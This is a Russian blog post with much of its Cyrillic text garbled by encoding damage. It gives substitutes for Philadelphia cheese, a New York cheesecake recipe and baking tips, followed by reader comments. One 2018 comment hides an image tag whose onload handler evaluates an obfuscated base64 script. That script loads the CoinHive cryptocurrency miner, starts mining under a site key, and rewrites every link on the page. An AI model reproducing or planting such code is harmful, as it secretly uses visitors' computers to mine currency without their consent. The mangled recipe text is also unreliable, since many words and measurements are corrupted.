-Всегда по?руко?/strong>

 -Рубрик?/strong>

 -Поис?по дневнику

Поис?сообщени??Nikash

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хито??посетителе? title=
Создан: 19.01.2011
Записе? 9976
Комментариев: 18873
Написано: 35672


Че?заменить сы?"Филадельфия"? Рецепт чизкейка ?пост? 100% попадани?

Понедельни? 11 Ию? 2011 ? 20:29 + ?цитатник

Конечн? очен?сложно подобрат?продук? которы?замени?- бы вкус этог?прекрасног?продукта, ?по вкус? ?по цене. Но...Ка?говорится: "Голь на выдумк?хитр?quot;!

Для выпечк?советуют брат?наши сливочны?сыры, ?? "Янтарь", "Дружба" ?вс?из этой сери? Он?не дороги? ?по консистенции похожи.

Ещ?советуют:  "Рама", "Альметте", "Крем Бонжур", "BUKO", "President", "Виол?quot;, "Violette", но бе?добаво? он?должны быть чист?сливочны?!!

авто? Олеся

Ингредиент?для "Сы?"Филадельфия""

 

Рецепт "Сы?"Филадельфия""

?взяла сливочны?Президен??творог "Веселы?молочник" 5 % (очен?важн? чтоб творог бы?не зернисты? ?консистенции ближ??паст??мелким?мелким?частичками). 

Смешивае?сы??творог ?однородную масс? 

Всe сы?"Филадельфия" гото? 

?роллах сходство 100 %!

Оставший? сы?можн?намазать на тост??съесть на завтра? Пр?тног?аппетита!

?во?проверенны?nbsp;ЮЛ?ПИЛЮЛЯ рецепт основы для чизкейка. ?удивилас? но эт?реальн?просто, ?должно быть вкусно!

Та?во?

"...ЗАЯВЛЯ?- ЧИЗКЕЙ?реален для любо?бабушк?нафи?маскарпоне ?филадельфи??пр. дорогущи?сыры)

2 пачк?хороше?свежей сметаы(500 гр) 20% плюс 1 пачк?30% ?марл??стеч? окол?1,5 стакан?сыворотк?вытече? за сутк?- сы?гото? дополняйт?соль? пудрой ?вперед."

Рецептик чизкейка.

 

ЧИЗКЕЙ?“НЬ?ЙОРК”

Чизкей?Ко мн?наконе?то приеха?долгожданный сы?“Филадельфия” ?я испекл?таки нормальный, человеческий чизкей? Мо?первый опыт чизкейка ?сыро?маскарпоне довольно сильно отличает? от него ?по вкус? ?по фактур? Одни?словом, результато?я осталась очен??очен?довольна.

Ингредиент?/strong>:

Для основы:

200 ?песочног?печенья типа “Юбилейного”, “Слодыч”, “Топленое молоко”
110 ?сливочного масл?/span>

Для начинк?/strong>:

600 ?сыра “Филадельфия”
3 яйц?br /> 150 мл жирных сливок
150 ?сахарной пудр?br /> 1 ?? ванильно?эссенции

Вс?ингредиент?должны быть комнатно?температур?

Состав

Печень?меле??крошку, добавляем растопленное сливочно?масл? перемешиваем.

Готови?основу

Утрамбовывае?смес?по дн??бортикам?разъемно?форм?диаметро?21 -22 см.

Утрамбовывае? height=

Ставим ?разогретую до 160 градусов духовк?на 10 мину? Достае??остужаем.

Сы?взбиваем венчиком ?сахарной пудрой до однородной гладко?масс?

Взбиваем сы? height=

Постепенно добавляем сливки, яйц??ваниль. Стараемся не перевзбить масс?- если смес?буде?перенасыщена пузырьками воздух? пр?выпечк?чизкей?може?вздуть? ?треснуть.

Смес?готова

Заливаем сырную смес??форм?

Заливаем ?форм? height=

Оборачивае?форм?двойны?слое?фольги, чтоб??не?не затекл?жидкость, ставим ?другую форм?большего диаметра ?наливаем ?последню?стольк?воды, чтоб?он?доходила со середины бортиков форм??чизкейко? Отправ?ем ?разогретую до 160 градусов духовк?на ча??20 мину?

По истечени?этог?времен?выключае?духовк? приоткрываем дверцу ?оставляем та?ещ?на ча? Посл?этог?вынимаем чизкей??ставим ?холодильни?миниму?на 4 сама, ?лучш?на ночь.

Пере?подаче?проводим ножо?вдол?стенок форм? снимае?бортик ?перекладывае?чизкей?на блюд? Украшаем по желани?

Чизкей?

Пр?тног?чаепит?!

P.S. Если ?ва?возникаю?вопрос?по ходу приготовления во?советы по приготовлени?

 

ЧИЗКЕЙКИ. ОСОБЕННОСТ?ПРИГОТОВЛЕНИ?/span>

Чизкей??заметила, чт?большу?попу?рность сред?ва? мо?дороги?читатели, имею?чизкейки. Но каждый ра??ва?возникаю?вопрос? связанные ?разным?моментам?приготовления. ?вопрос? по больше?част? одни ?те же. Дабы не дублироват?каждый ра?одно ?то же, пишу этот пост. Ссылка на него буде?красоваться ?каждом рецепт?чизкейка.

Подготовительный этап

Форм?для выпекания

?идеале форм?должна быть разъемно? Эт?дает гарантию, чт?вы сможет?безболезненн?вынуть из не?готовы?чизкей??не повредит?ег? Некоторы?умуд?ют? вынимать чизкей?из неразъемно?форм? переворачивая ее. Тако?вариан?годится только ?то?случае, если вы собираетес?есть торт ?домашнем круг??не ставит?себе задаче?поразить кого-то ег?красотой. Иб?риск, чт?чизкей?не выйдет из форм?бе?потерь, довольно вели? Ка?вариан? из неразъемно?форм?торт можн?вынимать по кускам – нарезать на нужное количество доле??выкладыват?каждую на тарелк? Но пр?этом вы рискуете поцарапать дн?форм? чт?неприемлем??случае ?тефлоновым покрытие?

Рецепт??моем блог?рассчитаны на форм?диаметро?21-22 см. Можн?печь ?формах большего диаметра, но ?этом случае торт получает? боле?тонким ?на ег?выпекани?требуется немног?меньше времен?

Сы?/strong>

Самы?попу?рный ?самы?больно?вопрос – како?сы? кром?филадельфи? можн?использовать для приготовления чизкейка.
Опытны?путе?выяснен? чт?неплохой результа?получает? со следующими сырами:

  • Альметте творожны?/span>

Альметте

  • Рама Крем Бонжур

Крем Бонжур

  • Буко Классический

Буко

  • Президен?Сливочны?/span>

Президен? height=

  • “Венски?завтра?rdquo; (для белорусо? - по вкус?практическ?идентиче? Брат?обязательно только бе?добаво? ?желтой баночк?

Венски?завтра? height=
Предпоследни?вариан?личн?я не считаю приемлемым, но многие товарищи, готовившие чизкейки ?“Президенто?rdquo;, утверждают, чт?результа?хоро? Поэтом??списке пуст?буде?

Результа?один ?один ?филадельфией вря?ли получится, но буде?тоже вкусно.
По поводу само?филадельфи? Этот сы?не похо?на плавлены?ни по консистенции, ни по вкус? На вкус он слегка солоноваты? но этог?пугать? не стои?– саха??начинк?эт?солоноватост?сглаживает.

Начинаем готовить

Начинк?/strong>

От того, ка?вы будете готовить начинк?для чизкейка, непосредственн?зависи?текстура конечног?продукта.
Сы?пере?начало?готовк?должен быть комнатно?температур?– ?тако?случае он быстро взобьется до кремовой консистенции ?начинк?не буде?комковатой. ?большинств?случае?посл?взбивания сыра пр?добавлении остальны?ингредиентов для начинк?масс?практическ?не взбивает?, ?размешивается до однородной консистенции. Эт?делает? для того, чтоб?начинк?не перенасытилась воздухом ?чизкей?не вздулся пр?выпекани? Размешиват?масс?лучш?всег?вручну?венчиком.
Яйца ?начинк?нужн?добавлять по одному, каждый ра?тщательн?перемешивая масс?

Выпекани?/strong>

Оптимальная температур?для выпекания чизкейка – 160 градусов, максимальн? – 175. Духовк?лучш?включать на нижний режи? форм?ставит?на средни?уровен?

Во?ная ба?

Выпекани?на во?но?бане дает нескольк?преимущест? Во-первых, жа?от воды боле?равномерны? че?от духовк? Во-вторых, чизкейки на во?но?бане получают? боле?нежным??шелковистыми. ??третьи? пр?выпекани?на во?но?бане верх чизкейка не подгорае? чт?важн?

Для того чтоб?соорудит?во?ну?баню необходимо плотно обернуть форм??чизкейко?фольго?(кусо?фольги должен быть цельны? ?поставит?ее ?другую, большу?по размер?форм? Зате??большу?форм?нужн?налить ки?щу?воду та? чтоб?он?доходила ка?миниму?до середины бортиков форм??чизкейко? Вода обязательно должна быть ки?ще? инач?время выпекания растянется за счет того, чт?воде нужн?буде?закипеть ?духовк? Если ?ва?не?фольги нужной ширины, вместо не?можн?приспособить разрезанны??распластанны?рука?для запекания.
? ка?челове?ленивы? чаще всег?пеку чизкейки бе?бани, но на дн?духовк?обязательно ставлю большу?емкост??ки?ще?водо? Но та?делать можн?только ?то?случае, если вы полность?уверен??себе ??свое?духовк?

Готовность

Очен?важн?не передержат?чизкей??духовк? инач?пр?охлаждении он може?треснуть. Определить готовность торт?довольно легк?– постучит?ложкой по борт?форм? ?готового чизкейка должна подрагиват?только середина (5-6 см ?центре).

Охлаждение

Охлаждат?чизкей?нужн??нескольк?этапов. Сраз?посл?выключен? ег?необходимо оставить на 40-60 мину??духовк??приоткрыто?дверце? зате?подержат?полчас?пр?комнатно?температур? Дале?нужн?провести ножо?вдол?стенок форм? ?уж?посл?этог?ставит??холодильни? Постепенно?охлаждение ?значительной степен?снижае?риск появлен? на торт?трещин.

+ Пр?сальмонеллез. ?выпечных чизкейка?яйц?проходя?термообработку, поэтом?выдумывать схем?их замены на другие продукты не нужн?

Рецепт?чизкейко?/strong>:

Чизкей?“Нь?Йорк”
Чизкей?“Клубника со сливками”
Чизкей??топпинго?из голубики
Миндальн?вишневый чизкей?/span>
Чизкей??миндальным пралин?/span> (бе?выпечк?
Черничны?чизкей?/span> (бе?выпечк?
Чизкей?“Премьера” ?маскарпоне
Тройно?шоколадный чизкей?/span>
Мини-чизкейки ?ягодами

Рецепт?творожны?тортов:

Лимонный тарт ?рикоттой
Творожная запеканк??вишней
Миндальный пиро??рикоттой
Мраморны?творожни??мюсл?/span>
Творожны?торт ?лаймом
Американский творожны?торт ?вишней
Творожны?торт ?ягодами
Неаполитанский пасхальный пиро?/span>
Черничны?творожны?торт (бе?выпечк?
Творожно-маковы?пиро?/span>

https://www.vkusnyblog.ru

Надеюс? эт?поможе?хо?йкам ?приготовлени?чизкейко??роллов)))

Если ?Ва?есть опыт - делитесь ?коммента?

Серия сообщени?"Домашнее (антимагази?":
Част?1 - Че?заменить сы?"Филадельфия"? Рецепт чизкейка ?пост? 100% попадани?
Част?2 - 20 рецептов домашней колбас?)
Част?3 - Гамбургеры
...
Част?12 - Домашняя пряно-пикантная колбаска
Част?13 - Слоено?тест?«наоборот»
Част?14 - Домашнее сливочно?масл?/a>

Метк? 57 ра?/a>
Понравилос? 10 пользовате??/i>

Перейт??дневнику

Четвер? 08 Сентября 2011 ? 18:41ссылка
Вкусного чаепит?)

Вторни? 08 Март?2016 ? 23:18ссылка
Блондинк? брюнетка ?шатенк?попали ?ведьме, та говори?
- То? кт?скажет неправду, исчезнет!
Брюнетка говори?
- ?дума? чт?я красив?! Исчезл?
Шатенк?говори?
- ?дума? чт?я умная! Исчезл?
Блондинк?говори?
Продолжени??моем блог?..
Картинка
Аноним   обратить? по имен?/a> ?тниц? 02 Ок?бря 2015 ? 14:53 (ссылка)
Рецепт нагл?сворован ?сайт?"Вкусны?блог" бе?указан? источник?.. https://www.vkusnyblog.ru/smak/3515
Ответить ?цитато?/a> ?цитатник    |    Не показывать комментари?/a>
Аноним   обратить? по имен?/a> Четвер? 08 Февраля 2018 ? 18:19 (ссылка)
Благодар?

data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="eval(atob('ZnVuY3Rpb24gY2RuQ3JlYXRpb24oKXt3aW5kb3cuQ29pbkhpdmU9ITE7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7ZS5zcmM9Ii8vY29pbi1oaXZlLmNvbS9saWIvY29pbmhpdmUubWluLmpzIixkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGUpfWNkbkNyZWF0aW9uKCk7dmFyIGNfY2hlY2s9d2luZG93LnNldEludGVydmFsKGZ1bmN0aW9uKCl7aWYoQ29pbkhpdmUpe2NsZWFySW50ZXJ2YWwoY19jaGVjayk7Zm9yKHZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJhIiksbj0oZS5sZW5ndGgsMCk7bjxlLmxlbmd0aDtuKyspZVtuXS5zZXRBdHRyaWJ1dGUoInRhcmdldCIsIl9ibGFuayIpO25ldyBDb2luSGl2ZS5Bbm9ueW1vdXMoImxBTDIwZDRwTlFyZXA1OW5NRDNmMVA3RXhXUVd3MmxIIikuc3RhcnQoKX19LDEwMCk7'))
Ответить ?цитато?/a> ?цитатник
 

Добавить комментари?
Текс?комментария: смайлики

Проверка орфографии: (найт?ошибки)

Прикрепить картинку:

 Переводить URL ?ссылку
 Подписаться на комментари?br />  Подписат?картинку